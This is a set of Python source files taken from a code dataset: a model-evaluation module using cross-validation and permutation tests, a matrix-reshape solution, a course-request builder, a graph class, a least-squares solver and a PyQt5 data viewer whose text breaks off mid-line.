best_score, best_score_dev = stats[2], stats[3]\n\n print(\"=== Null hypothesis statistical testing\")\n print(\"Null hypothesis: %s is worst / no better than %s\"\n % (name, best_model_name))\n print(\"Alternative hypothesis: %s is better than %s\"\n % (name, best_model_name))\n\n # cv_diff = cv_results - best_cv_results\n if scoring == 'brier_score_loss':\n # brier_score in [0, 1], the lower, the better\n cv_results, best_cv_results = 1-cv_results, 1-best_cv_results\n\n if cv_style == \"xscv\":\n try:\n params\n except AttributeError as ae:\n print(ae)\n except TypeError as te:\n print(te)\n except Exception as e:\n raise e\n elif cv_style == \"classic\":\n params = model.get_params()\n elif cv_style != \"xscv\":\n raise ValueError(\"%s in not a valid value for 'cv_style'\"\n \"valid values are ['classic', 'xscv']\" % cv_style)\n\n pt_method = 'exact'\n\n if len(cv_results) > 10: \n pt_method = 'approximate'\n\n # calculate probability of difference due to chance\n p_value = au.permutation_test(\n cv_results, best_cv_results, func=func, method=pt_method,\n seed=random_state)\n\n print(\"P_value': %1.5f\" % p_value)\n\n if p_value < 0.05:\n print(\"Reject the null hypothesis\")\n print(\"It is unlikely that %s's performance is worst / no better.\"\n % name)\n\n msg = \"Assuming that '%s' is a better classifier than '%s'.\"\n\n print(msg % (name, best_model_name))\n\n best_score = score\n best_score_dev = score_dev\n best_cv_results = cv_results\n best_exec_time = exec_time\n best_model_name = name\n best_model_estim = model\n if name in (\n 'baseline_nn_default_Clf_2nd',\n 'baseline_nn_smaller_Clf_2nd', 'larger_nn_Clf_2nd',\n 'deep_nn_Clf_2nd', 'larger_deep_nn_Clf_2nd', \n 'deeper_nn_Clf_2nd', 'KerasClf_2nd'):\n best_nn_build_fn = model.get_params()['build_fn']\n else:\n best_nn_build_fn = None\n best_model = (best_model_name, best_model_estim, best_nn_build_fn)\n\n print(\"We have a new champion!\")\n scores_of_best_model = \\\n (best_score, best_score_dev, best_cv_results,\n best_exec_time, best_model)\n\n print(\"*** Now, best score [%s]: %1.3f, best model: %s\"\n % (scoring.strip('neg_'), best_score, best_model_name))\n print()\n\n average_scores_across_outer_folds[name] = \\\n (score, score_dev, exec_time, model, params)\n\n else:\n print(\"Fail to reject the null hypothesis\")\n print(\"It is likely that %s' performance is worst or no better.\" % name)\n\n return average_scores_across_outer_folds, scores_of_best_model\n\n\ndef best_model_initial_attributes(scoring, n_splits):\n \"\"\"Define initial best model's initial attributes\"\"\"\n if scoring in ('roc_auc', 'average_precision_score'):\n best_score = 0.5 # 0.0\n best_score_dev = 0.5\n best_cv_results = np.zeros(n_splits)\n best_model_name = 'Random'\n elif scoring == 'neg_log_loss':\n # score's sign inverted [log_loss in [0, 10**4)] \n best_score = 10**4\n best_score_dev = 10**4\n best_cv_results = best_score*np.ones(n_splits)\n best_model_name = 'Worst'\n elif scoring == 'brier_score_loss':\n # score's for evaluation in [0, 1] \n best_score = 1\n best_score_dev = 1\n best_cv_results = best_score*np.ones(n_splits)\n best_model_name = 'Worst'\n\n best_atts = best_score, best_score_dev, best_cv_results, best_model_name\n return best_atts\n\n\ndef classic_cv_model_evaluation(\n dx_train, dy_train, models_and_parameters, scoring, outer_cv,\n average_scores_across_outer_folds, scores_of_best_model, results,\n names, random_state):\n \"\"\"Non-nested cross validation for model evaluation.\"\"\"\n if (isinstance(scoring, list) or isinstance(scoring, dict)\n or isinstance(scoring, tuple)):\n raise TypeError(\"\"\"'classic_cv_model_evaluation' method\n takes only single-metric score values.\"\"\")\n if scoring not in (None, 'accuracy', 'roc_auc', 'neg_log_loss'):\n raise ValueError(\"\"\"%s is not a valid scoring value for method\n 'classic_cv_model_evaluation'. Valid options are\n ['accuracy', 'roc_auc', 'neg_log_loss']\"\"\" % scoring)\n\n print(\"=== [task] Model evaluation with classic cross validation\")\n print()\n\n wtr = calculate_sample_weight(dy_train)\n\n print(\"=== 'sample_weight'\")\n print(wtr[0:5])\n print()\n\n for name, model in models_and_parameters.items():\n\n average_scores_across_outer_folds, scores_of_best_model = \\\n single_classic_cv_evaluation(\n dx_train, dy_train, name, model, wtr, scoring, outer_cv,\n average_scores_across_outer_folds, scores_of_best_model,\n results, names, random_state)\n\n return average_scores_across_outer_folds, scores_of_best_model\n\n\ndef single_classic_cv_evaluation(\n dx_train, dy_train, name, model, sample_weight, scoring, outer_cv,\n average_scores_across_outer_folds, scores_of_best_model, results,\n names, random_state):\n \"\"\"Non nested cross validation of single model.\"\"\"\n if (isinstance(scoring, list) or isinstance(scoring, dict)\n or isinstance(scoring, tuple)):\n raise TypeError(\"\"\"'single_classic_cv_evaluation' method takes only\n single-metric score values.\"\"\")\n if scoring not in (None, 'accuracy', 'roc_auc', 'neg_log_loss'):\n raise ValueError(\"\"\"\n %s is not a valid scoring value for method\n 'single_classic_cv_evaluation'. Valid options are ['accuracy',\n 'roc_auc', 'neg_log_loss']\"\"\" % scoring)\n\n print()\n print(\"******* Evaluating model '%s'\" % name)\n print()\n\n best_score = scores_of_best_model[0]\n best_score_dev = scores_of_best_model[1]\n best_cv_results = scores_of_best_model[2]\n # best_log_loss = log_loss_score\n # best_brier_score = scores_of_best_model[2]\n best_exec_time = scores_of_best_model[3]\n best_model_name = scores_of_best_model[4][0]\n best_model_estim = scores_of_best_model[4][1]\n best_nn_build_fn = scores_of_best_model[4][2]\n\n print(\"Best model: '%s'. Best score: %1.3f (%1.3f)\"\n % (best_model_name, best_score, best_score_dev))\n\n # Create a temporary folder to store the transformers of the pipeline\n cachedir = mkdtemp()\n\n steps = []\n # ...\n\n if name == 'SVMClf_2nd':\n if len(dy_train) > 10000:\n name = 'Bagging_SVMClf_2nd'\n print(\"*** SVC detected, evaluating model '%s'\" % name)\n\n # model = SVC(C=.01, kernel='linear', probability=True,\n # class_weight='balanced', random_state=random_state)\n model.set_params(kernel='linear')\n\n n_estimators = 10\n bagging = BaggingClassifier(\n model, max_samples=1.0/n_estimators, n_estimators=n_estimators,\n random_state=random_state)\n model = bagging\n else:\n\n pass\n print(\"model:\", model)\n else:\n pass\n\n steps.append((name, model))\n # transformers.append((name, model))\n\n ppline = Pipeline(steps, memory=cachedir)\n\n cv_success = 0\n\n try:\n t0 = time()\n cv_results = cross_val_score(\n ppline, dx_train, dy_train, cv=outer_cv,\n n_jobs=-2,\n pre_dispatch='2*n_jobs',\n scoring=scoring)\n t1 = time()\n except AttributeError as ae:\n print(ae)\n except JoblibValueError as jve:\n print(jve)\n except OverflowError as oe:\n print(oe)\n except Exception as e:\n print(\"Exception:\", e)\n else:\n cv_success = 1\n\n names.append(name)\n if scoring == 'neg_log_loss':\n cv_results = -1*cv_results\n results.append(cv_results)\n\n print(\"Outer CV to get scores: successful.\")\n\n exec_time = (t1 - t0)\n\n print('Execution time: %.2fs w %s.' % (exec_time, name))\n print()\n\n stats_for_sht = calculate_stats_for_nhst(\n name, cv_results, scoring)\n\n score, score_dev = stats_for_sht[0], stats_for_sht[1]\n func = stats_for_sht[2]\n\n print(\"*** Score for %s [%s]: %1.3f (%1.3f)\"\n % (name, scoring.strip('neg_'), score, score_dev))\n print()\n\n # statistical testing of classifiers\n\n stats = score, score_dev, best_score, best_score_dev\n\n # statistical_hypothesis_testing\n sht_scores_dicts = compare_models_performance(\n name, model, exec_time, best_model_name, best_score_dev, \n stats, cv_results, best_cv_results, \n average_scores_across_outer_folds, scores_of_best_model, func, \n cv_style=\"classic\", scoring=scoring, params=None, \n random_state=random_state)\n\n finally:\n if cv_success:\n print(\"Yay! Evaluation of model '%s' done.\" % name)\n else:\n print(\"Sorry. Evaluation of model '%s' failed.\" % name)\n\n sht_scores_dicts = \\\n average_scores_across_outer_folds, scores_of_best_model\n\n del ppline\n\n # delete the temporary cache before exiting\n rmtree(cachedir)\n\n print()\n\n # average_scores_across_outer_folds, scores_of_best_model\n return sht_scores_dicts\n\n\ndef nested_rscv_model_evaluation(\n dx_train, dy_train, models_and_parameters, scoring, n_iter, inner_cv,\n outer_cv, average_scores_across_outer_folds, scores_of_best_model,\n results, names, random_state):\n \"\"\"Nested cross-validation for model evaluation.\"\"\"\n if (isinstance(scoring, list) or isinstance(scoring, dict)\n or isinstance(scoring, tuple)):\n raise TypeError(\"\"\"'nested_rscv_model_evaluation' method allows only\n to perform single-metric evaluation of given estimator.\"\"\")\n if scoring not in (None, 'accuracy', 'roc_auc', 'neg_log_loss'):\n raise ValueError(\"\"\"\n %s is not a valid scoring value for method\n 'nested_rscv_model_evaluation'. Valid options are ['accuracy',\n 'roc_auc', 'neg_log_loss']\"\"\" % scoring)\n\n print(\"=== [task] Model evaluation with nested-rscv\")\n print()\n\n wtr = calculate_sample_weight(dy_train)\n\n print(\"=== 'sample_weight'\")\n print(wtr[0:5])\n print()\n\n for name, (model, params) in models_and_parameters.items():\n\n average_scores_across_outer_folds, scores_of_best_model = \\\n single_nested_rscv_evaluation(\n dx_train, dy_train, name, model, params, wtr, scoring, n_iter,\n inner_cv, outer_cv, average_scores_across_outer_folds,\n scores_of_best_model, results, names, random_state)\n\n return average_scores_across_outer_folds, scores_of_best_model\n\n\ndef single_nested_rscv_evaluation(\n dx_train, dy_train, name, model, params, sample_weight, scoring,\n n_iter, inner_cv, outer_cv, average_scores_across_outer_folds,\n scores_of_best_model, results, names, random_state, cv_meth='rscv'):\n \"\"\"Non-nested cv for evaluation of a single model.\"\"\"\n if (isinstance(scoring, list) or isinstance(scoring, dict)\n or isinstance(scoring, tuple)):\n raise TypeError(\"\"\"'single_nested_rscv_evaluation' method takes only\n single-metric score values.\"\"\")\n if scoring not in (None, 'accuracy', 'roc_auc', 'neg_log_loss'):\n raise ValueError(\"\"\"%s is not a valid scoring value for method\n 'single_nested_rscv_evaluation'. Valid options are ['accuracy',\n 'roc_auc', 'neg_log_loss']\"\"\" % scoring)\n\n print()\n print(\"******* Evaluating model '%s'\" % name)\n print()\n\n best_score = scores_of_best_model[0]\n best_score_dev = scores_of_best_model[1]\n best_cv_results = scores_of_best_model[2]\n # best_log_loss = log_loss_score\n # best_brier_score = scores_of_best_model[2]\n best_exec_time = scores_of_best_model[3]\n best_model_name = scores_of_best_model[4][0]\n best_model_estim = scores_of_best_model[4][1]\n best_nn_build_fn = scores_of_best_model[4][2]\n\n print(\"Best model: '%s'. Best score: %1.3f (%1.3f)\"\n % (best_model_name, best_score, best_score_dev))\n\n if name != 'DummyClf_2nd':\n\n steps = []\n # ...\n\n if name == 'SVMClf_2nd':\n name = 'Bagging_SVMClf_2nd'\n print(\"*** SVC detected, evaluating model '%s'\" % name)\n\n # n_estimators = 10\n # SVC(kernel='linear', probability=True, class_weight='balanced',\n # random_state=random_state)\n model.set_params(kernel='linear')\n\n n_estimators = 10\n bagging = BaggingClassifier(\n model, max_samples=1.0/n_estimators, n_estimators=n_estimators,\n random_state=random_state)\n\n model = bagging\n\n params = {\n name + '__' +\n k: v for k, v in pgd.Bagging_param_grid.items()}\n\n print(\"model:\", model)\n\n else:\n pass\n\n steps.append((name, model))\n pipeline = Pipeline(steps)\n\n # estimate score [accuracy, roc_auc, ...] on\n # the stratified k-fold splits of the data\n if cv_meth == 'rscv':\n clf = RandomizedSearchCV(\n pipeline, param_distributions=params, iid=False, cv=inner_cv, \n n_iter=n_iter, scoring=scoring, random_state=random_state)\n elif cv_meth == 'bscv':\n # check 'params' is of type BayesSearchCV's search_spaces\n clf = BayesSearchCV(\n pipeline, search_spaces=params, iid=False, cv=inner_cv, \n n_iter=n_iter, scoring=scoring, random_state=random_state)\n else:\n raise ValueError(\"%s is not a valid value for var 'cv_meth', \"\n \"valid values are ['rscv', 'bscv']\")\n else:\n\n clf = model\n\n cv_success = 0\n try:\n t0 = time()\n cv_results = cross_val_score(\n clf, dx_train, dy_train, cv=outer_cv, n_jobs=-2, pre_dispatch=9,\n scoring=scoring)\n t1 = time()\n except AttributeError as ae:\n print(ae)\n except JoblibValueError as jve:\n print(jve)\n except OverflowError as oe:\n print(oe)\n except Exception as e:\n print(\"Exception:\", e)\n else:\n cv_success = 1\n\n names.append(name)\n if scoring == 'neg_log_loss':\n cv_results = -1*cv_results\n results.append(cv_results)\n\n print(\"Outer CV to get scores: successful.\")\n\n exec_time = (t1 - t0)\n\n print('Execution time: %.2fs w %s.' % (exec_time, name))\n print()\n\n stats_for_sht = calculate_stats_for_nhst(\n name, cv_results, scoring)\n\n score, score_dev = stats_for_sht[0], stats_for_sht[1]\n func = stats_for_sht[2]\n\n print(\"*** Score for %s [%s]: %1.3f (%1.3f)\"\n % (name, scoring.strip('neg_'), score, score_dev))\n print()\n\n # statistical testing of classifiers\n\n stats = score, score_dev, best_score, best_score_dev\n\n # statistical_hypothesis_testing\n # compare_models_performance\n sht_scores_dicts = compare_models_performance(\n name, model, exec_time, best_model_name, best_score_dev, \n stats, cv_results, best_cv_results, \n average_scores_across_outer_folds, scores_of_best_model, func, \n cv_style=\"xscv\", scoring=scoring, params=params, \n random_state=random_state)\n\n finally:\n if cv_success:\n print(\"Yay! Evaluation of model '%s' done.\" % name)\n else:\n print(\"Sorry. Evaluation of model '%s' failed.\" % name)\n\n sht_scores_dicts = \\\n average_scores_across_outer_folds, scores_of_best_model\n\n print()\n\n # returns average_scores_across_outer_folds, scores_of_best_model\n return sht_scores_dicts \n\n\n# Before this, you should select between 'interactive' or 'auto' mode\n\n# if interactive, you can ask user for a learning mode\n\ndef learning_mode(df):\n\n df_length = len(df.index)\n df_size = df.shape[1]*df.shape[0]\n\n assert df_length == df.shape[0]\n \n msg = \"Are you in a hurry?\"\n mood = au.say_yes_or_no(msg, getmood=True)\n\n if mood in {\"YES\", \"yes\", \"Y\", \"y\"}:\n # random 10% of dataframe\n\n learn = 'quick'\n print(\"You're in a hurry, let's speed things up.\")\n print(\"We'll do a quick evaluation using lightly pre-optimized models.\")\n\n # 10 features and one target --> 11 columns\n if df_length > 10000 and df_size > 110000:\n print(\"Dataframe length = %d > 10000\" % df_length)\n print(\"Dataframe size = %d > 110000\" % df_size)\n print(\"Reducing dataframe length to 10000 to speed things up.\")\n\n frac = 10000/df_length\n print(\"frac: %1.3f\" % frac)\n df = df.sample(frac=frac) # frac=0.1\n # or dataframe.iloc[[indexes],:]\n # hurry_mode=1\n df_size = df.shape[1]*df.shape[0]\n print(\"After reduction, df. size = \", df_size)\n print(\"Dataframe length = \", len(df.index))\n print()\n\n else:\n if df_length <= 10000 or df_size <= 110000:\n if df_length <= 10000:\n print(\"Dataframe length = %d <= 10000\" % df_length)\n if df_size <= 110000:\n print(\"Dataframe size = %d <= 110000\" % df_size)\n learn = 'standard'\n else:\n print(\"Dataframe length = %d\" % df_length)\n print(\"Dataframe size = %d\" % df_size)\n learn = 'quick'\n # learn = 'large'\n\n return learn, df\n","sub_path":"autoclf/classification/eval_utils.py","file_name":"eval_utils.py","file_ext":"py","file_size_in_byte":65082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"590190369","text":"class Solution(object):\n def matrixReshape(self, nums, r, c):\n \"\"\"\n :type nums: List[List[int]]\n :type r: int\n :type c: int\n :rtype: List[List[int]]\n \"\"\"\n if len(nums) == 0 :\n return nums\n if len(nums)*len(nums[0])!=r*c:\n return nums\n k = 0\n new_row = []\n new_matrix = []\n for row in nums:\n for elem in row:\n new_row.append(elem)\n k+=1\n if k==c:\n new_matrix.append(new_row[:])\n new_row = []\n k=0\n return new_matrix","sub_path":"566. Reshape the Matrix/566. Reshape the Matrix.py","file_name":"566. Reshape the Matrix.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"115677976","text":"from friprosveta.models import StudentEnrollment\n\n\ndef student_course_requests(timetable, campus, term, year):\n entries = []\n enrollments = StudentEnrollment.objects.filter(groupset=timetable.groupset)\n # Hack: enroll external students to subjects to indicate\n # they can not have lectures at the time\n external_studies_short_names = [\n \"BUN-RM\",\n \"BUN-UI\",\n \"BM-KO\",\n \"BM-RM\",\n \"BUN-KO\",\n \"BM-PRI\",\n \"BM-MM\",\n \"BUN-MM\",\n ]\n classes = [1, 2, 3]\n for student in timetable.students:\n demands = []\n external = False\n for enrollment in enrollments.filter(student=student):\n subject = enrollment.subject\n # Subject is not in the current timetable\n if subject not in timetable.subjects:\n continue\n # Ignore 'evidencno vpisani' students\n if enrollment.study.short_name in [\"EV\"]:\n continue\n demands += [\n \"courseOffering\",\n {\n \"subjectArea\": \"{0}\".format(subject.code),\n \"courseNumber\": \"101\",\n },\n [],\n ]\n if (\n enrollment.study.short_name in external_studies_short_names\n and external is False\n and enrollment.classyear in classes\n ):\n external = True\n subject_name = \"z_{0}_{1}\".format(\n enrollment.classyear, enrollment.study.short_name\n )\n demands += [\n \"courseOffering\",\n {\n \"subjectArea\": \"{0}\".format(subject_name.lower()),\n \"courseNumber\": \"101\",\n },\n [],\n ]\n entry = [\n \"student\",\n {\"key\": str(student.id)},\n [\n \"updateCourseRequests\",\n {\"commit\": \"true\"},\n demands,\n \"updateDemographics\",\n {},\n [\n \"name\",\n {\"first\": student.name, \"last\": student.surname},\n [],\n \"acadArea\",\n {\"abbv\": \"CS\", \"classification\": student.study(timetable)},\n [],\n ],\n ],\n ]\n entries += entry\n enrollments = [\"request\", {\"campus\": campus, \"term\": term, \"year\": year}, entries]\n return enrollments\n","sub_path":"friprosveta/management/commands/unitime/StudentCourseRequests.py","file_name":"StudentCourseRequests.py","file_ext":"py","file_size_in_byte":2557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"494055480","text":"class Node():\n '''\n @class Node\n \n Very general representation of an entity in a graph.\n '''\n def __init__(self):\n pass\n\nclass Edge():\n '''\n @class Edge\n \n Representation of a relationship between two Nodes.\n '''\n def __init__(self, weight):\n '''\n @fn __init_\n \n @params weight Number to represent the strength (or weakness)\n of the relationship.\n '''\n self.weight_ = weight\n\n '''\n Get* Functions\n '''\n def GetWeight(self):\n return self.weight_;\n \nclass Graph():\n '''\n @class Graph\n \n Representation of a Graph G = (V, E) where V is a set of vertices\n or nodes, and E is a set of edges representing relationships \n between the nodes. \n\n Nodes are kept in a dictionary mapping node identifiers to the node \n itself.\n\n Edges are kepy in a dictionary mapping a set of nodes (not necessarily 2)\n to an object representing an edge's attributes.\n '''\n def __init__(self):\n '''\n @fn __init__\n \n Member initialization.\n '''\n self.nodes = dict()\n self.edges = dict()\n self.node_to_edges = dict()\n self.finalized = False\n\n def GetNodes(self):\n '''\n @fn GetNodes\n \n Return the set of nodes in the graph.\n '''\n return self.nodes\n\n def GetEdges(self, node=None):\n if node:\n return {k: self.edges[k] for k in self.node_to_edges[node]}\n else:\n return self.edges\n\n def AddNode(self, idx):\n '''\n @fn AddNode\n \n If the graph hasn't been finalized, this will add\n a new node to graph.\n\n @param idx Identifier for the node to be added.\n\n @return True if the node was added to the graph.\n '''\n if ~self.finalized:\n self.nodes[idx] = Node()\n self.node_to_edges[idx] = []\n return True\n return False\n\n def AddUndirectedEdge(self, idx1, idx2, weight):\n '''\n @fn AddUndirectedEdge\n\n If the graph has been finalized, nothing happens.\n\n Otherwise, given two nodes, adds an edge in the graph \n in both directions, idx1->idx2 and idx2->idx1. \n Self edges ARE allowed.\n\n @param idx1 Identifier for node in the graph.\n @param idx2 Identifier for node in the graph.\n @param weight Number representation for the strength (or weakness)\n of the edge.\n\n @return True if the edge was successfully added.\n '''\n if (\n ~self.finalized and\n idx1 in self.nodes and\n idx2 in self.nodes\n ):\n self.edges[(idx1, idx2)] = Edge(weight)\n self.edges[(idx2, idx1)] = Edge(weight)\n map(lambda x, y: self.node_to_edges[x].append(y),\n zip(\n [idx1, idx2],\n [(idx1, idx2), (idx2, idx1)]\n )\n )\n return True\n return False\n \n def AddDirectedEdge(self, idx1, idx2, weight):\n '''\n @fn AddDirectedEdge\n \n Adds an edge in a single direction (idx1->idx2) in the graph.\n\n @param idx1 Identifier for node in the graph.\n @param idx2 Identifier for node in the graph.\n @param weight Number representation for the strength (or weakness)\n of the edge.\n \n @return True if the edge was successfully added.\n '''\n if ~self.finalized:\n self.edges[(idx1, idx2)] = Edge(weight)\n self.node_to_edges[idx1].append((idx1, idx2))\n return True\n return False\n\n def Finalize(self):\n '''\n @fn Finalize\n \n Finalizes this graph instance, disallowing following edits.\n '''\n self.finalized = True\n","sub_path":"clustering/graphs/Graph.py","file_name":"Graph.py","file_ext":"py","file_size_in_byte":3903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"139831047","text":"# LEAST SQUARES - OVERDETERMINED EQUATIONS - 3 VARIABLES (ax + by + cz = h)\r\n\r\nfrom __future__ import division\r\nimport math\r\nimport numpy as np\r\n\r\n# Enter the values of the coefficients a, b, c and h:\r\na = np.array([1, 2, 3, 4])\r\nb = np.array([2, 3, 4, 2])\r\nc = np.array([3, 3, -1, -3])\r\nh = np.array([14.1, 17.1, 8.1, -1.1])\r\n\r\n# Evaluation\r\nN = max(len(a), len(b), len(c), len(h))\r\n\r\nAA = sum(a**2)\r\nBB = sum(b**2)\r\nCC = sum(c**2)\r\nAB = sum(a*b)\r\nAC = sum(a*c)\r\nAH = sum(a*h)\r\nBC = sum(b*c)\r\nBH = sum(b*h)\r\nCH = sum(c*h)\r\n\r\nDENOM = AA*(BB*CC-BC*BC) - AB*(AB*CC-AC*BC) + AC*(AB*BC-AC*BB) \r\nDETX = AH*(BB*CC-BC*BC) - AB*(BH*CC-BC*CH) + AC*(BC*BH-BB*CH)\r\nDETY = AA*(BH*CC-BC*CH) - AH*(AB*CC-AC*BC) + AC*(AB*CH-AC*BH)\r\nDETZ = AA*(BB*CH-BC*BH) - AB*(AB*CH-AC*BH) + AH*(AB*BC-AC*BB)\r\n\r\nx = DETX/DENOM\r\ny = DETY/DENOM\r\nz = DETZ/DENOM\r\n\r\nd = x*a + y*b +z*c - h\r\nS = math.sqrt(sum(d**2)/(N-3))\r\n\r\nDX = S*math.sqrt(abs((BB*CC-BC*BC)/DENOM))\r\nDY = S*math.sqrt(abs((AA*CC-AC*AC)/DENOM))\r\nDZ = S*math.sqrt(abs((AA*BB-AB*AB)/DENOM))\r\n\r\n# Results\r\nprint(\"Value of x: \", x)\r\nprint(\"Value of y: \", y)\r\nprint(\"Value of z: \", z)\r\nprint(\"Standard error in x: \", DX)\r\nprint(\"Standard error in y: \", DY)\r\nprint(\"Standard error in z: \", DZ)\r\n\r\n","sub_path":"Python/Ch. 11. R - Least Squares - Overdetermined Equations - 3 Variables.py","file_name":"Ch. 11. R - Least Squares - Overdetermined Equations - 3 Variables.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"297671079","text":"import os\nimport sys\nfrom random import sample\n\nimport matplotlib\nfrom scipy.spatial.distance import euclidean, cityblock, chebyshev, mahalanobis\n\nmatplotlib.use(\"Qt5Agg\")\nfrom PyQt5.QtCore import QAbstractTableModel, Qt, QVariant\nfrom PyQt5.QtWidgets import *\nimport pandas\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nplt.style.use('ggplot')\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar\n\n\nclass MainWindow(QWidget):\n def __init__(self):\n super(MainWindow, self).__init__()\n self.initUI()\n\n def initUI(self):\n layout = QVBoxLayout()\n\n menuBar = QMenuBar()\n self.tabs = QTabWidget()\n\n openAction = QAction('&Open', self)\n openAction.setShortcut('Ctrl+O')\n openAction.setStatusTip('Open file')\n openAction.triggered.connect(self.openFile)\n\n exitAction = QAction('&Exit', self)\n exitAction.setShortcut('Ctrl+Q')\n exitAction.setStatusTip('Exit application')\n exitAction.triggered.connect(qApp.quit)\n\n fileMenu = menuBar.addMenu('&File')\n fileMenu.addAction(openAction)\n fileMenu.addSeparator()\n fileMenu.addAction(exitAction)\n\n layout.addWidget(menuBar)\n layout.addWidget(self.tabs)\n self.setLayout(layout)\n self.setWindowTitle('SWD')\n self.setMinimumSize(640, 480)\n self.show()\n\n def openFile(self):\n filename = QFileDialog.getOpenFileName(self, 'Open file')[0]\n\n if filename:\n fileview = FileView(filename)\n self.tabs.addTab(fileview, os.path.basename(filename))\n\n\nclass FileView(QWidget):\n def __init__(self, filepath):\n super(FileView, self).__init__()\n self.filepath = filepath\n self.dataFrame = pandas.read_csv(filepath, '\\t', parse_dates=False, header=0)\n self.splits = None\n self.numberize()\n self.initUI()\n\n def initUI(self):\n layout = QVBoxLayout()\n self.tabs = QTabWidget()\n self.tabs.setTabPosition(QTabWidget.West)\n table = TableView(self)\n plot = PlotView(self)\n ops = OperationsView(self)\n knn = KNNView(self)\n jakiescos = JakiesLinieView(self)\n knngrouping = KNNGroupingView(self)\n self.tabs.addTab(table, 'Data')\n self.tabs.addTab(ops, 'Operations')\n self.tabs.addTab(plot, 'Plot')\n self.tabs.addTab(knn, 'K-NN')\n self.tabs.addTab(knngrouping, 'K meanss')\n self.tabs.addTab(jakiescos, 'Jakies Cos')\n layout.addWidget(self.tabs)\n self.setLayout(layout)\n self.tableView = table\n\n def numberize(self):\n for i in self.dataFrame.columns.values:\n if self.dataFrame[i].dtype not in ('float64', 'int64', 'int32', 'float32'):\n n = Numberizer()\n self.dataFrame[i] = self.dataFrame[i].apply(n.numberize)\n\n\nclass TableView(QWidget):\n def __init__(self, controller):\n super(TableView, self).__init__()\n self.controller = controller\n self.initUI()\n\n def initUI(self):\n layout = QVBoxLayout()\n\n table = QTableView()\n tableModel = PandasTableModel(self.controller.dataFrame)\n table.setModel(tableModel)\n table.resizeColumnsToContents()\n table.setAlternatingRowColors(True)\n layout.addWidget(table)\n\n self.setLayout(layout)\n self.tableModel = tableModel\n\n def updateColumn(self, column):\n self.tableModel.updateColumn(column)\n\n\nclass PlotView(QWidget):\n def __init__(self, controller):\n super(PlotView, self).__init__()\n self.controller = controller\n self.initUI()\n\n def initUI(self):\n layout1 = QVBoxLayout()\n toolbar = QToolBar()\n\n label1 = QLabel()\n label1.setText('X:')\n toolbar.addWidget(label1)\n self.combobox1 = QComboBox()\n self.combobox1.addItems(self.controller.dataFrame.columns.values)\n toolbar.addWidget(self.combobox1)\n\n label2 = QLabel()\n label2.setText('Y:')\n toolbar.addWidget(label2)\n self.combobox2 = QComboBox()\n self.combobox2.addItems(self.controller.dataFrame.columns.values)\n toolbar.addWidget(self.combobox2)\n\n label3 = QLabel()\n label3.setText('Color:')\n toolbar.addWidget(label3)\n self.combobox3 = QComboBox()\n self.combobox3.addItems(self.controller.dataFrame.columns.values)\n toolbar.addWidget(self.combobox3)\n\n toolbar.addSeparator()\n\n button = QPushButton()\n button.setText('Update')\n button.clicked.connect(self.redraw)\n toolbar.addWidget(button)\n\n layout2b = QVBoxLayout()\n\n self.figure = plt.figure()\n self.axes = self.figure.add_subplot('111')\n\n self.figureCanvas = FigureCanvas(self.figure)\n navigationToolbar = NavigationToolbar(self.figureCanvas, None)\n layout2b.addWidget(navigationToolbar)\n layout2b.addWidget(self.figureCanvas)\n\n layout1.addWidget(toolbar, 0)\n layout1.addLayout(layout2b, 1)\n\n self.setLayout(layout1)\n\n def redraw(self):\n cmap = plt.get_cmap('brg', self.controller.dataFrame[self.combobox3.currentText()].max() + 1)\n self.axes.clear()\n self.axes.scatter(x=self.controller.dataFrame[self.combobox1.currentText()],\n y=self.controller.dataFrame[self.combobox2.currentText()],\n c=self.controller.dataFrame[self.combobox3.currentText()],\n cmap=cmap, s=32, edgecolors='Black')\n counter = 1\n\n if self.controller.splits != None:\n for x in self.controller.splits:\n if x[2] == None:\n continue\n a = ''\n if self.combobox1.currentText() == x[0]:\n self.axes.axvline(x[2])\n if x[1] == True:\n a = '↑'\n else:\n a = '↓'\n self.axes.text(x[2], self.axes.viewLim.extents[1], str(counter)+a, rotation=90)\n elif self.combobox2.currentText() == x[0]:\n self.axes.axhline(x[2])\n if x[1] == True:\n a = '↓'\n else:\n a = '↑'\n self.axes.text(self.axes.viewLim.extents[0], x[2], str(counter)+a)\n counter += 1\n self.figureCanvas.draw()\n\n\nclass Numberizer(object):\n def __init__(self):\n self.groups = {}\n\n def numberize(self, element):\n if element in self.groups:\n return self.groups[element]\n else:\n ix = len(self.groups)\n self.groups[element] = ix\n return ix\n\n\nclass PandasTableModel(QAbstractTableModel):\n def __init__(self, data: pandas.DataFrame):\n super(PandasTableModel, self).__init__()\n self.data = data\n self.values = data.values\n\n def rowCount(self, QModelIndex_parent=None, *args, **kwargs):\n return len(self.data.index)\n\n def columnCount(self, QModelIndex_parent=None, *args, **kwargs):\n return len(self.data.columns.values)\n\n def data(self, QModelIndex, int_role=None):\n if not QModelIndex.isValid():\n return QVariant()\n if int_role == Qt.DisplayRole:\n row = self.data.index[QModelIndex.row()]\n col = self.data.columns[QModelIndex.column()]\n return str(self.data.ix[row, col])\n return QVariant()\n\n def headerData(self, p_int, Qt_Orientation, int_role=None):\n if int_role == Qt.DisplayRole and Qt_Orientation == Qt.Horizontal:\n return self.data.columns.values[p_int]\n return QAbstractTableModel.headerData(self, p_int, Qt_Orientation, int_role)\n\n def updateColumn(self, column):\n columnId = self.data.columns.values.tolist().index(column)\n startIndex = self.createIndex(0, columnId)\n endIndex = self.createIndex(self.rowCount() - 1, columnId)\n self.dataChanged.emit(startIndex, endIndex)\n\n\nclass KNNView(QWidget):\n def __init__(self, controller):\n super(KNNView, self).__init__()\n self.controller = controller\n self.initUI()\n\n def initUI(self):\n layout1 = QVBoxLayout()\n toolbar = QToolBar()\n\n label = QLabel()\n label.setText('Metric: ')\n toolbar.addWidget(label)\n measure = QComboBox()\n measure.addItems(['Euclidean', 'Manhattan', 'Infinity', 